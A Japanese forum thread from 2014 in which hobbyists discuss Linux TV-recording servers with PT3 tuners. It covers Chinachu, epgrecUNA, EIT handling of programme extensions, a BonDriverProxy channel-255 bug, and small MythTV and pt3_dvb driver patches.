2014/10/23(木) 21:01:23.26ID:RFH5Yplo0799login:Penguin
2014/10/23(木) 21:32:53.62ID:1mp8HuSP契約chに電話して信号送ってもらわないと。
0800login:Penguin
2014/10/23(木) 21:37:13.64ID:FceHZWDS0801login:Penguin
2014/10/23(木) 21:39:14.84ID:FceHZWDS0802login:Penguin
2014/10/23(木) 22:08:28.20ID:IEjuheIx使い分けるってことはつけっぱだとまずいんですか?
0803login:Penguin
2014/10/23(木) 22:19:11.09ID:RFH5Yplo個人的には常時ONでもよさそうな気もしますが。
使い分けのほうが安心感はあります。
0804login:Penguin
2014/10/24(金) 17:07:46.71ID:2weC2ZFVどうしたものか
面倒だが >>799の言うとおり電話するしか無いのだろうか
尚元々BCASが刺さっていたテレビはあの世に旅立った模様
0805login:Penguin
2014/10/24(金) 18:44:08.47ID:Lt3B+GxYどう走らせたのか気になるが聞かないでおく
0806login:Penguin
2014/10/24(金) 18:45:38.48ID:xY94CKOwついでに言うと、libarib25はEMMを実際にカードに投げる前にそれが自分のカード宛ての物なのかを確認するので、
CAS処理でのカードの負荷増になるのは、自カード宛てのEMMが来た場合のみです
よほどすごい使い方(あるいは意図して無視したいとか)でない限りは、EMM処理は常時onでも大丈夫だと思いますよ
EMMの周期って(局や時期によっても違うと思いますが)結構長い事もあるので、EPG取得程度の時間じゃ、
ハズレ引き続けると全然更新されない可能性もありますしね
0807login:Penguin
2014/10/24(金) 20:51:02.65ID:Gl/OlUSi結構開発進んでるのねぇ・・・・
昔Windowsでは録画鯖やってたけど(PT3*3枚で)
Linuxで始めるならどれがいいんだろうか?
(OSはCentOS6.5辺りで検討中)
シロート向けのサイトが有れば嬉しいんだけど。
0808login:Penguin
2014/10/24(金) 21:53:11.71ID:K0OFO3hXそもそもどうしてLinuxで始める必要があるの?
0809login:Penguin
2014/10/24(金) 21:59:58.34ID:NTHjz3x1foltiaの有償版のぞけば基本的にフリーなんだし
0810login:Penguin
2014/10/25(土) 01:48:41.79ID:OW5De62i0811login:Penguin
2014/10/25(土) 04:06:43.51ID:9ccRecWphttps://github.com/kanreisa/Chinachu/commit/46183aa59d481699a21122d5aace616655949b40
0812login:Penguin
2014/10/25(土) 04:43:05.17ID:cs9XIo/v録画中の延長を訂正できるんじゃなくて
前の番組から玉突きくらった場合の訂正ができるだけみたい?
「延長対応」といえるのかはともかくアニメに照準合わせてるChinachu的にはこれで十分鴨
0813login:Penguin
2014/10/25(土) 05:03:36.14ID:L1hCw8EY0814login:Penguin
2014/10/25(土) 10:31:00.33ID:RrxuRbOlありがたや
0815login:Penguin
2014/10/25(土) 13:49:40.91ID:nSkD2CqEやっとts出来るトコまで来た。
手順まとめてるけど需要ある?
0816login:Penguin
2014/10/25(土) 14:42:18.83ID:YdfcDNN7epgdumpの他っていうとtsParserかな?
epgdumpより情報が多く取れるからchinachuに使えないかなと思ってたところです
0817login:Penguin
2014/10/25(土) 14:59:26.25ID:L1hCw8EY延長時のEITの挙動を理解してそれに対応した処理が無ければなに使っても同じ
0818login:Penguin
2014/10/25(土) 15:09:20.23ID:W56wjqp/ある!ぜひ!
0819login:Penguin
2014/10/25(土) 17:32:14.05ID:1ocDiSldBlog書きながらやってたのが幸いで
再度構築なう。
まぁ記事の間違い直しが出来たからいいか
0820login:Penguin
2014/10/26(日) 14:58:26.69ID:17p2Sl+Aいったんファイルに落としてるようじゃ…てことですかね
NHKはEITの挙動が他と違うの?
0821login:Penguin
2014/10/26(日) 16:43:06.47ID:aHeU8u4B>NHKはEITの挙動が他と違うの?
そのとうり
臨機応変な番組編成をしているので arib仕様をフル活用している
EITには「今・次」の「全体」の2種類があって通常は内容が同期しているんだが
NHKは、延長などで番組編成を変更すると「今・次」だけ更新して「全体」の方は定期更新時まで放置
特に現番組が延長してると「今・次」の内容も「現放送終了時間未定・次番組そのものが未定」になってしまう
民放の場合は、延長時には現放送の終了時間に仮値をいれて「今・次」と一緒に「全体」も随時更新しているので
利用側は対応が楽チン
他に酷いのだと「変更がある場合、番組開始30秒前にEITを更新しなければいけない」という規定があるが
「間に合わなければその限りではない」というのもありそれを実践してくる
epgdumpがだめなのは EITの「今・次」と「全体」をマージして出力している関係でNHKの番組編成変更に対応するのに
必要な情報が欠落してるから
これは他のパーサーにも当てはまるかも
0822login:Penguin
2014/10/26(日) 17:34:20.44ID:i4EFvmX70823login:Penguin
2014/10/26(日) 19:42:18.41ID:aHeU8u4B問題は分離した形でどう出力するかだけど
理想は、chinachu薄潮みたいにパーサーをフロントエンドに内蔵した上で
EITを常時監視するのがいいんだけどね
あと epgdumpの派生版で対応してるのがあるからそれを使うのも手
ただし出力内容やフォーマットが違ったりするので入れ替えてOKでは済まない
はなし変わるけど chinachuの中の人、NHKは他と挙動が違うの理解してるんかな・・・
0824login:Penguin
2014/10/26(日) 20:06:26.63ID:ggFL0eD+TSのヘッダを触るのは楽だけど文字コードの変換が面倒で挫折した覚えがある
0825login:Penguin
2014/10/26(日) 22:37:52.51ID:st1hdJhiその辺はライブラリ使えば良いだけだよ
aribb24なりTVTestのCAribStringなり(ちなみにepgdumpも元はCAribString)
0826login:Penguin
2014/10/26(日) 23:06:54.63ID:quJ4oihX色々ハマったけど、出来たような気がする。
早速ルール作成と手動予約。
無料な日もあるのね<某チャンネル
0827820
2014/10/27(月) 02:46:43.70ID:lOUc8dv7詳しい解説ありがとうございます
よければchinachu薄潮とepgdump派生版、教えて欲しいです
ググったけど分からなかった…
民生品の録画機とかはEIT常時監視してるんですかね
地上波とBSのチューナーを常に1つ稼働させて、録画するときもそこからの
ストリームで録る、と(チューナー占有しない)
常時じゃなくても予約の時間帯は頑張るようにしたいですね…
四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
録画責任者の俺は嫁から叩かれました
なんとかしたい…
0828login:Penguin
2014/10/27(月) 03:03:38.31ID:QRIsXjs7https://twitter.com/Chinachu_REC/status/504054745053421568
うちは最近アップデートしたら野球延長されても大丈夫なようになってた
0829login:Penguin
2014/10/27(月) 03:24:49.36ID:HcmNMqFt0830login:Penguin
2014/10/27(月) 04:09:30.34ID:lOUc8dv7ありがとうございます、開発版ブランチがあるんですね
>>829
テレビ買うときに、自前でやるから録画機能は要らぬ!と大見得をきって
新規で録画マシンを組んだ手前、そこは引けませぬ…
0831login:Penguin
2014/10/27(月) 07:57:18.49ID:BQ6rf+/R派生版つか
ttp://d.hatena.ne.jp/katauna/
これについてるやつじゃね?
0832login:Penguin
2014/10/27(月) 09:45:44.63ID:ytUb0pQB0833login:Penguin
2014/10/27(月) 09:58:23.00ID:FvJMiSLk0834login:Penguin
2014/10/27(月) 10:07:05.04ID:CWs6/kCP期待しよう
0835login:Penguin
2014/10/27(月) 10:45:32.20ID:i3z5ksm4おれも>>832に同意。
でなければガンガルしかないw
0836823
2014/10/27(月) 12:37:02.04ID:lSaNX93Z>chinachu薄潮
chinachuの次期バージョンで現在開発中
>epgdump派生版
>>831のやつです
私は>>831の epgrecUNAを使ってます
番組延長による繰り下がりで録画に失敗したことは無いです
>四月は君の嘘の初回が世界体操の延長で5分しか録れてなくて、
も撮れています
また録画中番組も次の番組を予約しておけば終了時間が変更されても合わせてくれます
0837login:Penguin
2014/10/27(月) 16:53:55.18ID:ytUb0pQB0838login:Penguin
2014/10/27(月) 17:21:03.20ID:ooblbN8C0839login:Penguin
2014/10/27(月) 17:22:13.40ID:9FYGVnzO0840login:Penguin
2014/10/27(月) 18:33:51.89ID:i3z5ksm4ダイナミックなアンカーだなw
オレはrecpt1+chinachuで動かしてみた。
もちっと触ってみないとなんとも言えないけど。
0841830
2014/10/27(月) 23:42:29.39ID:Yd7gomEsありがとうございます
chinachuは最近延長に対応したみたいなので様子見してみようと思います
暫定対応っぽいので、本命はうすしおですかね
今からうすしお突撃したい気持ちもありますが、録画マシンで地雷踏むと痛い…
epgrecUNAは延長対応完璧なんですね
ううむもう一台チューナーマシンが欲しい…
録画責任者辞任せよとのご意見が多数で意外でした
みなさんそんな感じなんですかね…
たしかに家電のほうが何かと便利ですが、タイヤ交換できる父親といいますか
IT DIYは私としては唯一の特技なので、死守したいところです!
0842login:Penguin
2014/10/28(火) 00:08:45.96ID:4/sYK5W/叩かれる心配なくDIYに専念できると思うんだけどw
まぁ気持ちはワカル
0843login:Penguin
2014/10/28(火) 01:20:23.94ID:G+1aFK6I0844login:Penguin
2014/10/28(火) 01:27:58.74ID:EoeEKfNWなんだかんだでWindowsの方がまだ1歩抜きん出ているね残念だけど
0845login:Penguin
2014/10/28(火) 10:21:04.29ID:uI01UInFうすしお・・・初めて聞いた。
一体何???(ggrksは承知之助)
まぁChinachuで今のところは運用中だけど。
0846login:Penguin
2014/10/28(火) 10:32:36.16ID:uzu7Uticそうなんだ…WindowsはTV Rockというのが高機能なんですかね?
開発環境だったりネットワーク透過だったりの部分で、Linuxのほうが
録画マシンには向いてるだろうとずっと思ってましたが、、、
何だかんだいって人材が豊富なんですかね
>>845
https://twitter.com/Chinachu_REC/status/473772871764807680
0847login:Penguin
2014/10/28(火) 10:34:55.38ID:vh4V2r2I気持ちはわかるけど、ぶっちゃけ安定性で比較すれば、Linuxの録画システムと家電は比べちゃいけないレベルだしな。
ある意味録画失敗しても仕方がない、って気持ちがどこかにないと、これ一本でやるのは無理があるだろ。
そういうわけで、嫁に頼まれた番組とか、失敗しちゃいけない録画なら家電がベストだよ、ってことでしょ。
0848login:Penguin
2014/10/28(火) 10:37:11.43ID:zMvc5HWFLinuxはオープンソース中心で自分でソースファイルを書き換えて何とかする感じ
0849login:Penguin
2014/10/28(火) 10:57:52.76ID:rRRflTHb0850login:Penguin
2014/10/28(火) 11:04:04.09ID:H3GaqOdLそれがどうしたんだよ
0851login:Penguin
2014/10/28(火) 11:05:59.71ID:zMvc5HWF信頼性、操作性向上のためにお金と時間をかけて多数の技術者が作業してる
同じレベルにオープンソースで到達するのは難しいってことでしょう
0852login:Penguin
2014/10/28(火) 11:17:52.50ID:r788kPRk0853login:Penguin
2014/10/28(火) 11:24:53.00ID:uI01UInFおお・・・さんくすこ
config.json使いまわせるといいなぁ・・・・
(だって、チャンネル設定超めんどくさいんだもん)
0854login:Penguin
2014/10/28(火) 11:56:45.25ID:ifxNEXyBTVRockよりEpgDataCap_Bonの方がより良いよ
0855login:Penguin
2014/10/28(火) 14:31:44.42ID:4/sYK5W/0856login:Penguin
2014/11/02(日) 15:09:46.02ID:xPFdgYTn時々しか動作しないライブ視聴が全滅でござる/(^o^)\
0857login:Penguin
2014/11/02(日) 15:13:15.45ID:2mcP/vCa0858login:Penguin
2014/11/02(日) 16:08:30.64ID:ttozdB2c何日も前のものが録画中になっている!
しかもファイルサイズが小せえ!
と思ったらHDD満杯であったでござる/^o^\
0859login:Penguin
2014/11/02(日) 16:25:42.84ID:+5wxkOmw延長対応の副作用かなー
0860login:Penguin
2014/11/02(日) 18:32:34.44ID:xPFdgYTnepg取得でlockしてる訳じゃ無いのでござる/(^o^)\
0861login:Penguin
2014/11/02(日) 18:50:00.72ID:2mcP/vCa全盛期のイチローの打率くらいにはもどるから
0862login:Penguin
2014/11/02(日) 18:50:46.37ID:2mcP/vCa0863login:Penguin
2014/11/02(日) 18:56:03.56ID:CfQP0qw8TvRockにも「おまじない」ってあったなぁ…
0864login:Penguin
2014/11/02(日) 18:57:07.03ID:s/ys1TFP0865login:Penguin
2014/11/03(月) 01:18:43.41ID:+zamUVMILinuxへ epgrec入れてやってみると他にもいろいろパッチ入れないとちゃんとならないのでちょっと使って挫折
インストールが簡単なChinacuは斬新だけど挙動が謎なところが多いので1週間でやめた
今はepgrecUNAが一番堅実でかつ機能十分で安定してると思う
時間延長も大丈夫だし
0866login:Penguin
2014/11/03(月) 02:29:53.02ID:il0OPcMFうちはそんなこと起きなかったけど
中の人に聞いてみたら?
0867login:Penguin
2014/11/03(月) 04:15:08.72ID:EC5pLSFh録画していない時の自動スリープも完璧に動く
0868login:Penguin
2014/11/03(月) 04:26:18.97ID:il0OPcMFところで、何故スリープしてるかっていうちゃんとした理由ありますか?
うちはスリープしちゃったら不便だしHDDに悪いから全然考えたこと無かったけど。
よろしければ教えてください
0869login:Penguin
2014/11/03(月) 04:36:24.67ID:EC5pLSFh0870login:Penguin
2014/11/03(月) 07:18:31.57ID:nkN30iI4無いか。
0871login:Penguin
2014/11/03(月) 07:25:49.94ID:+zamUVMIAtom機だから電気代は気にしてない
HDDだけスピンダウンするようにしておきゃいいんじゃない
0872login:Penguin
2014/11/03(月) 09:06:13.99ID:rfVrbIka0873login:Penguin
2014/11/03(月) 09:15:28.68ID:z4wEG0Tl外からの予約、についてだけなら
最近の家庭用ルータにはWOLパケット送信機能がついているものも多いから
(頻度が少なくて手間がかかるのに目をつぶれるならば)
なんとかなることも多いけどね
まあ電気代と音が問題ないなら
スリープ運用は必要ないと俺も思うけど
0874login:Penguin
2014/11/03(月) 14:33:49.17ID:fQEZfDo/0875login:Penguin
2014/11/03(月) 15:43:21.85ID:ahyMMWCj0876login:Penguin
2014/11/03(月) 16:24:01.79ID:cig0lSOkウチは24時間運転にしてる。静音化したし。
0877login:Penguin
2014/11/03(月) 16:26:10.29ID:ewdYHxvQスタンバイ運用だね
結局人それぞれ
0878login:Penguin
2014/11/03(月) 20:32:23.65ID:DiBrHay+マシン新調してからはエンコもするようになったからほぼ起動しっぱなし
サスペンドとかハイバネートでもチューナー安定して使えるのかな?
電気代気になるものの、あまり頻繁に電源断するとハードディスク心配だったり
0879login:Penguin
2014/11/03(月) 22:29:24.64ID:SAgSiO1z0880login:Penguin
2014/11/03(月) 23:46:16.11ID:Fz1k/4nD0881login:Penguin
2014/11/04(火) 08:16:47.34ID:dtUB/y4/甘い
0882login:Penguin
2014/11/04(火) 08:29:00.39ID:vyFCO9So24時間稼働のマシンを引っ越しで電源落としたら
二本死んだよ。
0883login:Penguin
2014/11/04(火) 08:45:00.42ID:Ru9AGKrc0884login:Penguin
2014/11/04(火) 11:28:20.70ID:JLf/Xu2Cバックアップしてなかったので録画鯖再構築中。
0885login:Penguin
2014/11/04(火) 12:42:39.01ID:j1JxXxG/CS放送のxspfはうまく動かんのな
エラー出てしまう
0886login:Penguin
2014/11/04(火) 13:26:57.36ID:TuQDCclB0887login:Penguin
2014/11/04(火) 13:31:52.25ID:j1JxXxG/0888login:Penguin
2014/11/04(火) 13:35:14.83ID:E1wii0Wg0889login:Penguin
2014/11/04(火) 17:24:45.26ID:vyFCO9Soバックアップはまだとってないがwww
0890login:Penguin
2014/11/05(水) 08:07:05.02ID:1d4nwRx3さ、再構築するか…orz
0891885
2014/11/05(水) 13:23:44.86ID:S3S6/STV早いとこバックアップ設定しないとな〜。
0892login:Penguin
2014/11/05(水) 21:07:38.48ID:/EWfSuizウチもSSDにしてたんだが…
バックアップ真面目に考えよう。次回からは。
0893login:Penguin
2014/11/05(水) 23:01:35.38ID:s4vczIam物理チャンネルに合わせて設定してますが、チャンネル番号を255に設定すると
0バイトのファイルが出来て録画に失敗します。最初は設定の問題かなと思った
んだけど他の設定はそのままでチャンネル番号だけ254や256にすると普通に
録画できるのでプログラムの問題っぽいです。
0894login:Penguin
2014/11/05(水) 23:10:11.79ID:r++/9Ssvテレビのアンテナから来ているケーブルに
USBのケーブルが絡まると、信号乱れたりするのかな。
はっきりと言い切れるわけじゃないけど、
俺のPCだとそんな傾向がある気がする。
0895login:Penguin
2014/11/05(水) 23:30:25.73ID:EJF9utgC0896login:Penguin
2014/11/05(水) 23:58:25.13ID:s32RwZNBhttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/README.md
(※不要箇所削除の際は、残した物のBonDriverとしてのチャンネル番号を0からの連番に採番しなおしてください)。
とかOK?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L461
後これとか?
> BonDriverのチャンネル番号を物理チャンネルに合わせて設定してますが
意図していない設定の様な気がする。自分なら素直にデフォルトのconf使うなあ。
0897login:Penguin
2014/11/06(木) 00:59:46.86ID:Ayxz3zaghttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L273
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_LinuxPT.cpp#L455
こっちかな?
0898login:Penguin
2014/11/06(木) 06:42:18.09ID:rpZKUkYh>>896
>>897さんの言う通りだと思います
内部的に、0xff(255)を無効チャンネルとして扱っており、かつチャンネル初期値として保持している為、
もしMAX_CHを256以上に変更した上で最初のSetChannel()に255が指定された場合、既にそのチャンネルに
あわせてあると判断してしまい、実際のioctl(SET_CHANNEL)が行われないはずです
ただ、この無効チャンネルを表す数値が0xffなのは、指定される事は無い値だと言う以上の意味は無いので、
0xffffffffに変更しておきました
0899login:Penguin
2014/11/06(木) 06:51:08.44ID:rpZKUkYhお約束みたいなもので、どの番号がどのチャンネルを指しているか既に知っており、チャンネル番号を
直接指定する前提であれば必ずしもそうなっている必要はありません
#お約束の目的は、アプリがチャンネルスキャンする際に、EnumChannelName()を0から順番に行い、
#NULLが返ってきた時点でスキャン完了として扱えるように…だと理解しています
ただ、BonDriver_LinuxPT/DVBの場合、内部的なチャンネル情報の保持の仕方は普通の配列なので、
MAX_CHを必要以上に大きくして抜け番号が増えれば増えるほど、無駄にメモリを確保してしまう事に
なるのでご注意ください
0900login:Penguin
2014/11/07(金) 13:29:17.18ID:06tB7U0kまだ内容確認してないけど
0901login:Penguin
2014/11/08(土) 00:24:46.07ID:PtUcPe5eバージョンアップ直後のリアルタイム視聴は出来てたから安心してたんだけどね。うーん、なんかミスったかな?
土日ヒマを見つけて調べてみるか
0902login:Penguin
2014/11/08(土) 01:59:03.44ID:BktVHxw+予約録画とリアルタイム視聴の件は別?
バージョンアップ後にリアルタイム視聴していたら予約録画失敗したってこと?
0903login:Penguin
2014/11/08(土) 02:07:15.27ID:PtUcPe5eリアルタイム視聴と予約録画は別時間の話しなのだが・・・
0904login:Penguin
2014/11/08(土) 02:09:04.51ID:PtUcPe5e0905login:Penguin
2014/11/08(土) 02:10:15.97ID:BktVHxw+話を一緒にしてたからそう聞いてみた
アップデートしたの久々かな?チューナーは何使ってるの?
0906login:Penguin
2014/11/08(土) 02:10:54.12ID:BktVHxw+寝てからやりなよww
0907login:Penguin
2014/11/08(土) 02:11:03.07ID:PtUcPe5e幾つか番組予約したので、失敗したらまた報告するわ
0908login:Penguin
2014/11/08(土) 02:13:04.96ID:PtUcPe5eこっちは謎のまま
0909login:Penguin
2014/11/08(土) 02:15:19.12ID:PtUcPe5elinux、win、mac混在の我が家ではchinachuは神!
ちなPT3の一枚差し
0910Artane. ◆1o3c8RYIzjU0
2014/11/08(土) 07:42:16.32ID:ZwBXX3W9pt3_dvb使ってる場合は、ドライバにパッチ当て無いといけないかも知れない(ここから貼っていく)。
まー、アレコレ問題含みだけど。MythTVスレに後でリンク春(`・ω・´)ゞ
パッチは、MythTV側が(とりあえず)二つ。
1. libs/libmythtv
000_libmythtv.cardutil.cpp.ISDB.temp.patch
---
--- cardutil.cpp.orig 2014-11-08 07:14:33.160590285 +0900
+++ cardutil.cpp 2014-11-08 07:28:01.193305347 +0900
@@ -494,7 +494,7 @@
uint CardUtil::GetMinSignalMonitoringDelay(const QString &device)
{
QString name = ProbeDVBFrontendName(device);
- if (name.indexOf("DVB-S") >= 0)
+ if ((name.indexOf("DVB-S") >= 0) || (name.indexOf("ISDB") >= 0))
return 300;
if (name == "DiBcom 3000P/M-C DVB-T")
return 100;
---
つづく。
0911Artane. ◆1o3c8RYIzjU0
2014/11/08(土) 07:43:11.66ID:ZwBXX3W9libs/libmythtv/recorders/
000_libmythtv.recorderes.dvbchannel.cpp.SignalFix.temp.patch
--- dvbchannel.cpp.new 2014-11-08 04:16:36.273939030 +0900
+++ dvbchannel.cpp 2014-11-08 05:10:44.596247350 +0900
@@ -270,7 +270,7 @@
// Turn on the power to the LNB
if (tunerType.IsDiSEqCSupported())
{
- //diseqc_tree = diseqc_dev.FindTree(GetCardID());
+ diseqc_tree = diseqc_dev.FindTree(GetCardID()); // Note
if (diseqc_tree)
diseqc_tree->Open(fd_frontend);
}
0912Artane. ◆1o3c8RYIzjU0
2014/11/08(土) 07:49:52.32ID:ZwBXX3W9はれるかな?
---
001_pt3_fe.c.add.ioctl.20141108.patch (1/2)
--- pt3_fe.c.orig 2014-11-08 03:47:37.465167284 +0900
+++ pt3_fe.c 2014-11-08 05:53:19.605304859 +0900
@@ -987,6 +987,38 @@
return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
}
+/*
+ * Starting to support old ioctl: FE_READ_SNR.
+ * Useful for checksignal.
+ * 2014.11.08 K.O
+ */
+static int pt3_fe_t_read_snr(struct dvb_frontend *fe, u16 *cn)
+{
+ struct pt3_fe_t_state *state = fe->demodulator_priv;
+ return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
+}
+
+/*
+ * This is test.
+ * Dummy.
+ */
+static int pt3_fe_t_read_ber(struct dvb_frontend *fe, u32 *ber)
+{
+ *ber = 0; /* Assume Bit Error Rate (BER) is 0, Will fix. */
+ return 0;
+}
+
+ /* 続く */
0913Artane. ◆1o3c8RYIzjU0
2014/11/08(土) 07:50:49.58ID:ZwBXX3W9+#if 0
+/*
+ * This is also dummy, still unused. Will Fix.
+ */
+static int pt3_fe_t_read_ucblocks(struct dvb_frontend* fe, u32* ucblocks)
+{
+ *ucblocks = 0; /* Assume Uncorrected blocks count = 0, Will fix. */
+ return 0;
+}
+#endif
+
static int pt3_fe_t_get_frontend_algo(struct dvb_frontend *fe)
{
return DVBFE_ALGO_HW;
@@ -1172,6 +1204,9 @@
FE_CAN_TRANSMISSION_MODE_AUTO | FE_CAN_GUARD_INTERVAL_AUTO | FE_CAN_HIERARCHY_AUTO,
},
.read_signal_strength = pt3_fe_t_read_signal_strength,
+ .read_snr = pt3_fe_t_read_snr,
+ .read_ber = pt3_fe_t_read_ber,
+ /* .read_ucblocks = pt3_fe_t_read_ucblocks, */
.read_status = pt3_fe_t_read_status,
.get_frontend_algo = pt3_fe_t_get_frontend_algo,
.release = pt3_fe_t_release,
0914Artane. ◆1o3c8RYIzjU0
2014/11/08(土) 07:58:35.90ID:ZwBXX3W9とりあえず、脳味噌が死んでる状態ででっち上げたので、かなりいい加減だが、選局した時に起きる問題はとりあえず解決したと思う。
MythTVのCNR比表示が1/10されてるっぽい(checksignalだとマトモな?値が出てくる)とか、signalの値は但しいいのか?とか、ダミーIOCTLはいかがなものか。
とか、ツッコミどころは色々あるが、徹夜で取り組んで脳味噌が死んでるのでこれから色々見てくつもり(;´Д`)
後、MythTVのISDB対応、よく出来てるしダメ元で多少書き換えたパッチをDebian Multimediaのmythtv-dmoにマージしてほしいなと思ったので、
暇見てメンテナの人と連絡取ってみようと思います。ので、細かいやり取りについてしたいので、パッチ作られてる方、GPGIDのメアドにメール頂けると助かります。
0915login:Penguin
2014/11/08(土) 11:12:39.19ID:NqGYYIrBArtane氏はアーテン服用してんの?
0916Artane. ◆1o3c8RYIzjU0 転載ダメ©2ch.net
2014/11/08(土) 16:25:28.29ID:ZwBXX3W9どもです。
もう、何十年も前に飲んでたことがありましたよ(-_-;
今はあんなん飲んでない。
このハンドルネーム自体、25年以上使ってるからなぁ…(^_^;
0917login:Penguin
2014/11/08(土) 17:02:21.85ID:f60AF8zd(なんかpt3_dvbの人は怒ってるみたいだけど・・・)
その辺の事情も考えると、mythtvのDVBChannel::GetSNR()の方をDVB_API_VERSION>=5に対応させる方が良いと思うよ
0918login:Penguin
2014/11/08(土) 20:38:38.72ID:RYzgp267chinachu で、曜日指定録画はできるの?
3ヶ月探してまだ見つからないんだよね。
無いのだと思うのだけど、あると便利だと思う。
それと、ひとつひとつのルール内で、
無視ワードを完結するだけでなく、
ルール全体への無視ワード登録も可能になると
より使いやすいと思うのだけど、いかが?
0919login:Penguin
2014/11/08(土) 20:43:54.45ID:BktVHxw+いいとおもう
0920login:Penguin
2014/11/08(土) 21:43:58.34ID:6lMJLjWK0921login:Penguin
2014/11/08(土) 23:05:34.05ID:gfmlfr820922login:Penguin
2014/11/08(土) 23:14:38.67ID:Q4WqdeKBそれでは諦めます
0923login:Penguin
2014/11/08(土) 23:15:47.76ID:WbvxCMeEavconvのプロセスは現れるけど相変わらず落ちるですよ
ごく一部の特定のチャンネルだけ問題ないって言うのはなんで?
0924login:Penguin
2014/11/09(日) 00:34:00.62ID:1bqTv3Y3ちなPT3一枚で運用。地上波、BS/CS、HD/SDで成功率の違いは感じない。BSCSで見るchはJspoスカチャン、ディスカバリーなど限られるけど
0925login:Penguin
2014/11/09(日) 19:49:35.21ID:APi1ZkkV1.8.11なら大丈夫。ccidは関係ないようだ
0926login:Penguin
2014/11/10(月) 07:53:11.51ID:8TT21gKP録画コマンドの設定に--stripがあるかないかでも違うかも
0927login:Penguin
2014/11/11(火) 11:48:56.20ID:pRs4NnnJ0928login:Penguin
2014/11/11(火) 12:24:38.85ID:K8e1mgG80929login:Penguin
2014/11/11(火) 14:24:54.33ID:DLV8k0Uv0930login:Penguin
2014/11/11(火) 19:56:37.94ID:jxbi/nwK0931login:Penguin
2014/11/11(火) 20:11:31.39ID:Hd4N11Uwhttp://imgs.link/bodEHK.jpg
0932login:Penguin
2014/11/11(火) 21:43:37.14ID:/wbQFn9p0933login:Penguin
2014/11/11(火) 22:02:47.58ID:AkmBrLYg0934login:Penguin
2014/11/11(火) 22:14:38.22ID:/wbQFn9p0935login:Penguin
2014/11/11(火) 23:07:51.68ID:RLvHk+l3俺も諦めてWinに戻った
Stable版が出るまで取り敢えずWinかな
0936login:Penguin
2014/11/12(水) 01:28:00.58ID:kEz7xrjtそうか2・3年は戻ってこないって事だなw
0937login:Penguin
2014/11/12(水) 04:12:04.45ID:UogAGkg5そういう問題だよ
0938login:Penguin
2014/11/12(水) 04:38:03.22ID:5wOrwUlh0939login:Penguin
2014/11/12(水) 07:26:17.34ID:MXuLlisD0940login:Penguin
2014/11/12(水) 08:37:01.93ID:IuM/Um3Wとりあえず最新版がダメなら前のバージョンに戻して試せばいいのに
何のためのGitなんだか
0941login:Penguin
2014/11/12(水) 15:54:18.06ID:WAeETw6+0942login:Penguin
2014/11/12(水) 19:08:17.47ID:7zLOkpe7だんだん重くなって
最後には操作不能になるんだけど
ウチだけかな?
0943login:Penguin
2014/11/12(水) 22:42:47.97ID:vH14M7dPディストリで対応版出てないの?うちのは直された
0944login:Penguin
2014/11/12(水) 23:19:05.78ID:cfCbHs7t情報展開どうもです
33.1が出ていたので33.03からupdateしてみました
ちょっと試した範囲では快調です
0945login:Penguin
2014/11/13(木) 12:49:38.61ID:vid/Zn0lhttp://www.publickey1.jp/blog/14/visual_studio_communiti_2013.html
Visual Studio Community 2013 - Visual Studio
http://www.microsoft.com/ja-jp/dev/products/community.aspx
[速報]マイクロソフト、「.NET server framework」のLinuxとMacOS X用オフィシャルディストリビューションを発表。.NETアプリケーションのビルド、実行が可能に − Publickey
http://www.publickey1.jp/blog/14/net_server_frameworklinuxmacos_xlinuxmacos_xnet.html
0946login:Penguin
2014/11/13(木) 13:21:57.40ID:hTwFS29CもうWindowsで囲い込めないと察したか?
0947login:Penguin
2014/11/19(水) 16:58:30.77ID:Ebl0xCvgどこが変わったんだろう
0948login:Penguin
2014/11/19(水) 17:13:58.54ID:RfvMn5Npそれに対応した書き込みソフトというだけな気がする
ファームのバージョンは変わってないような
0949login:Penguin
2014/11/20(木) 03:16:45.37ID:MBCE2pu5具体的には、DVBドライバが存在する海外用チューナ(RTL2832)を地デジに利用したいと考えています。
linuxについてあまり詳しくないので、解釈が間違っているか教えていただけないでしょうか。
0950login:Penguin
2014/11/20(木) 03:39:55.98ID:O+IRM1Grチューナー自体がDVB方式の国向けなら日本の地デジ(ISDB-T方式)の受信は無理なんじゃね、Linuxとか関係なく・・・
まぁ俺も素人童貞なんで、もっと正確な事を教えて、エロい人!
0951login:Penguin
2014/11/20(木) 04:28:27.89ID:MBCE2pu5ブラジル向け(ISDB-T)の製品にRTL2832U+RT820という組み合わせのものがあるので、
ISDB-T自体はクリアできると考えています。
しかし1200円の激安チューナーにもかかわらず、ブログでの報告などが一切なく、
何か技術的な問題があるのかと思った次第です。
またS870というブラジル向けチューナーではlinuxで地デジの動作報告がありました。
でもこちらは3000円ほどするのであまりメリットがありません。
RTL2832U+RT820で試したという報告が無いのは、皆さんからしたら動く見込みが無いということでしょうか?
0952950
2014/11/20(木) 04:52:29.48ID:O+IRM1Grさっきまで「PTx用DVB版ドライバ??? PT3でDVB受信出来るの???」状態だったよw
つーわけで、誰かエロい人、949の疑問に答えてね
無内容なカキコすまぬ
0953login:Penguin
2014/11/20(木) 07:35:44.03ID:V9nV8OWj0954login:Penguin
2014/11/20(木) 09:47:52.75ID:ICDGULGn>ワンセグみたいだけどいいのか?
すみません
RTL2832は勘違いかもしれません…
同じ筐体のがRTL2832Uだったので、てっきりソフトウェアレベルで対応するのだと思ってました。
ちなみに注文したのはこれです↓
http://www.ebay.com/itm/ISDB-T-Digital-TV-Stick-Video-Recorder-USB-TV-Receiver-Remote-Control-/271603608276?pt=US_Video_Capture_TV_Tuner_Cards&amp;hash=item3f3cd62ad4
RTL2832以外が載ってるのか、Full segの表記が間違ってるのか現時点ではわからないので、到着したらまた来ます。
ご迷惑をおかけしました。
0955login:Penguin
2014/11/24(月) 16:31:06.76ID:kb1j7Bkotopで見るとRESのサイズが一つだけべらぼうに大きくなっていた
隣りがファンの無いグラボなんで熱の影響が大きかったのかも知れない
0956login:Penguin
2014/11/30(日) 17:35:22.43ID:pDXxGUXJ0957login:Penguin
2014/11/30(日) 21:20:59.07ID:62Ha8AF6関係ないよ
0958login:Penguin
